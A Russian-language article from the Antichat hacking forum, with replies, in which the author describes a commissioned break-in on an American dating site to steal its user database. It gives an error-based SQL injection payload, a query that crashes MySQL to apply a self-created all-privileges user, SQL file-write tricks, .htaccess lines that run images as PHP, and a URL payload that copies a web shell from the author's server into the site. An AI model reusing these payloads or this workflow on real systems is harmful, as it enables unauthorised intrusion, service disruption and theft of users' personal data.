ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Статьи (https://forum.antichat.xyz/forumdisplay.php?f=30)
-   -   От дорка до рута 2 (https://forum.antichat.xyz/showthread.php?t=328049)

Pirotexnik 10.04.2012 05:51

INTRO

Доброго времени суток!

По немногочисленным просьбам решил написать ешё 1 статью/роман_хакреа/рассказ. Причина этому - накопившиеся в голове проблеммы и их решения, с которыми может столкнутся каждый.

Сразу предупреждаю, что ничего критически нового тут нету, и если вы гуру, то вы врядли найдете сдесь что-то новое. Т.К. эта статья написана для таких же как и я сам. Для тех, кто учится.

БЛАГОДАРНОСТИ

BigBear - за все

Га-Ноцри - дедик

НАХТАЧЕК - хинты

nikp - финт ушами с мускулом

Пожалуй, погнали!

СКУЛЬ

Жертвой был какой-то американский дейтинг. Заказ - как обычно - бд с юзаками.

Все как обычно, кинул в акунетикс, и сам пошел искать ручками. В этот раз я опередил софт, и нашел что-то странное. Как оказалось позднее, скуль была в ордере. Как юнионовская она не крутилась, хавидж начал крутить как time based (что не удивительно, т.к. у него на меня вообще аллергия ), и крутить пришлось ручками.

Вывод ошибки был, ну и понятно я попытался раскрутить как error based. Вышло вот что:

PHP код:

[COLOR="#000000"][COLOR="#0000BB"]id[/COLOR][COLOR="#007700"]=([/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"])and([/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#FF8000"]/**/[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]select[/COLOR][COLOR="#FF8000"]/**/[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#FF8000"]/**/[/COLOR][COLOR="#0000BB"]from[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]select[/COLOR][COLOR="#FF8000"]/**/[/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"](*),[/COLOR][COLOR="#0000BB"]concat[/COLOR][COLOR="#007700"](([/COLOR][COLOR="#0000BB"]select[/COLOR][COLOR="#FF8000"]/**/[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]select[/COLOR][COLOR="#FF8000"]/**/[/COLOR][COLOR="#0000BB"]database[/COLOR][COLOR="#007700"]())[/COLOR][COLOR="#FF8000"]/**/[/COLOR][COLOR="#0000BB"]from[/COLOR][COLOR="#FF8000"]/**/[/COLOR][COLOR="#0000BB"]information_schema[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]tables[/COLOR][COLOR="#FF8000"]/**/[/COLOR][COLOR="#0000BB"]limit[/COLOR][COLOR="#FF8000"]/**/[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]floor[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]rand[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"])*[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]))[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#FF8000"]/**/[/COLOR][COLOR="#0000BB"]from[/COLOR][COLOR="#FF8000"]/**/[/COLOR][COLOR="#0000BB"]information_schema[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]tables[/COLOR][COLOR="#FF8000"]/**/[/COLOR][COLOR="#0000BB"]group[/COLOR][COLOR="#FF8000"]/**/[/COLOR][COLOR="#0000BB"]by[/COLOR][COLOR="#FF8000"]/**/[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#FF8000"]/**/[/COLOR][COLOR="#007700"]and[/COLOR][COLOR="#FF8000"]/**/[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#FF8000"]/**/[/COLOR][COLOR="#007700"]--[/COLOR][COLOR="#FF8000"]/**/[/COLOR][/COLOR

Удивляло больше всего меня то, что конструкция and 1=1 помогала только при использование ДВАЖДЫ! Почему я так и не выяснил...

Мне повезло, у моего юзера была возможность читать mysql.user, но file_priv был N. Спустя пару запросов, я извлек юзера с кривыми правами (чтение\запись по всей бд) и host=%

Ближайший wso -> SQL -> connect -> УРА! Я внутри.

Писать файлы я не мог, но мог редактировать mysql.user, что доставляло не мение. Я создал себе юзера, примитивным insert, с доступом откуда угодно, и полными правами. Но тут был облом... Зайти под ним я не мог, для этого требоволось применить изменения в силу. На команду

Цитата:

Сообщение от None
FLUSH PRIVILEGES;

прав не было, а сервер не перезагружался месяцами. И тут появился товарищь nikp и сказал:

!ПОЛЕЗНЯШКА НОМЕР РАС!

Цитата:

Сообщение от nikp
l1ght
находил такой способ
Код:

select 1 from table procedure analyse ((select 1 from (select 1)a),1);
mysql крашится от этого запроса

Мускул упал, и через 2 минуты самостоятельно ребутнулся. Ещё через 5-7 секунд у меня были рут права

ШЕЛЛ

Наверное больше всего гемора доставила заливка шелла.

Писать я мог, но незнал куда. Почитав ЭТО в пару запросов я извлек конфиг апача, ну а из него и путь. Но дало мне это не много, так как папка с правами 777 была одна, и в ней нельзя было запускать ничего как php.

Ясное дело, после минуты раздумий я решил написать свой .htaccess (с блэк-джэком и шлюхами) в котором банально запускал бы .gif как php.

Сказано - сделано, но опять облом. Обычный перенос строки превращался в "/".

!ПОЛЕЗНЯШКА НОМЕР ДВАС!

Цитата:

Сообщение от Expl0ited
в качестве переноса строки нужно использовать
\r
select "
test
\r
test2
" into outfile
'/путь/1.txt'
Код:

cat 1.txt
test
test2

если использовать
\n
то получится:
Код:

cat 2.txt
test\
test2


Записал в него я следубщее:

Цитата:

Сообщение от Га-Ноцри
Меня иногда выручала подобная конструкция:
PHP код:

[COLOR="#000000"][COLOR="#0000BB"]php_flag engine on[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]либо php engine on[/COLOR][COLOR="#007700"])

[/
COLOR][COLOR="#0000BB"]AddType application[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]httpd[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]php[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]phtml[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]jpg[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]html

AddHandler application
[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]httpd[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]php[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]phtml[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]jpg[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]html[/COLOR][/COLOR


Так, .htaccess записан, но не работает. Тупо игнорируется. Я перепробывал все варианты, подпапки с правами записи заканчивались, а мускулом файлы удалять нельзя, что делать я не знал...

После пачки мальборо и 3 чашек какого-то кофе, какого не в курсе, мама принесла , я забил на это дело и решил как тру-гуру юзать низкоуровневые атаки на порт. Открыл nmap, воткнул IP, просканил... и... фак май моск!!!

Цитата:

Сообщение от None
nginx - 80
apache -81

Понятное дело нгиникс плевал на мои .htaccess, т.к. эта фича чисто апачевская. Любимая опера понятно обращалась по 80 порту, и ответ мне выдавал нгиникс. Я попробывал следующее:

!ПОЛЕЗНЯШКА НОМЕР ТРИС!

target.com:81

Сайт загрузился отлично.

target.com:81/uploads/1/asd.gif

И о чудо, вывелось ранее записаное мной в эту "картинку" echo. И phpinfo() тоже кстате вывелось

target.com:81/wtf2.gif?a=copy("http://www.myserser.com/wso.txt","/home/target/public_html/uploads/1/wso.gif");

Вобщем, все сработало. Я зашел в шелл.

ШЕЛЛ

Первым делом я глянул на ядро

Цитата:

Сообщение от None
Linux target 2.6.34.7-0.7-default #1 SMP 2010-12-13 11:13:53 +0100 x86_64

2010 год, вроде нормально. Бинд порт не сработал, тогда я отжал дедик, и зацепился бэк-коннектом. Но увы... Уже 10 сплоитов не помогли... Стоит там openSUSE 11.3 которя не хочет рутатся, не в какую... увы...

Так что, если есть какие идеи по руту - мое пм открыто

Подробнее о проблемме тут

Вот собственно и все. Оранжевым выделенны моменты, которые стоит запомнить, или записать.

Всем спасибо, критика уместна.

Pirotexnik

mironich 10.04.2012 06:08

Цитата:

Сообщение от None
низкоуровневые атаки на порт.

что это???

Про добавления юзверя интересно, не когда не задумывался, мб потомучто не занимаюсь этим.

Pirotexnik 10.04.2012 06:18

Это metasploit и подобное.

Добавление юзера тупо руками. Insert.

Mr.Wekly 10.04.2012 10:40

ОФФТОПИК сорри

Можно ссылку на крякнутый акунетикс. Заранее благодарен.

Mobile 10.04.2012 16:29

Убедительная просьба, соблюдайте правила, не пишем бессмысленных постов, не оффтопим, не надо оценивать статью в посте, для этого есть "репутация".

Pirotexnik 10.04.2012 16:52

Tigger, от дорка до рута - потому что продолжение, ну рут получить я собираюсь

Сплоитов перепробовал уйму.

А нащет портов - так дело не дошло просто

shell_c0de 10.04.2012 17:38

Pirotexnik взорвал мой мозг)

Ближайший wso -> SQL -> connect -> УРА! Я внутри.

а это обязательно ближайшего соседа надо выбрать или на прямую тоже можно ? )

Pirotexnik 10.04.2012 17:43

Фиксер, я имелл ввиду любой шелл взял Ближайший, что был под рукой, а не к хосту ближайщий.

asiaman 10.04.2012 19:35

Статья не идеальна. Но очень хорошая. Автору респект.

Например, запрос на крэш мускуля я не знал. Да и про связку backend тоже.

От разных там гуру слышать вопросы, мол, там "низкоуровневое ... что такое". Смешно. Ладно бы новички спрашивали и им не понятно было. В общем ТС не воспринимай сильно близко критику.

Pirotexnik 10.04.2012 20:05

Нет, разные гуру как-раз меня этому и научили. Просто подавляющее большинство используют то, что для нас ново и интересно как бытовую обыденность. Поэтому для того-же shell_c0de эта статья то же самое, что для нас утром проснутся Но действительно знающие люди забывают, что тоже когда-то этого не знали. Отсюда и недопонимания. Кто-то напишет "Спасибо много нового", потому, что ещё не разу не рутал, кто-то напишет "Ну и что тут нового? Это стандартные действия... ТС - лох!", потому, что за спиной 5-10 лет хека...

Впринципе, я и сам злюсь, когда ко мне приходят сообщения типа "Как взломать сайт", хотя год назад я сам такое писал С опытом начинаешь считать приметивной обыденостью то, что узнал недавно.

p.s. за синтаксис извиняйте, пойду я спать кароче


Время: 16:54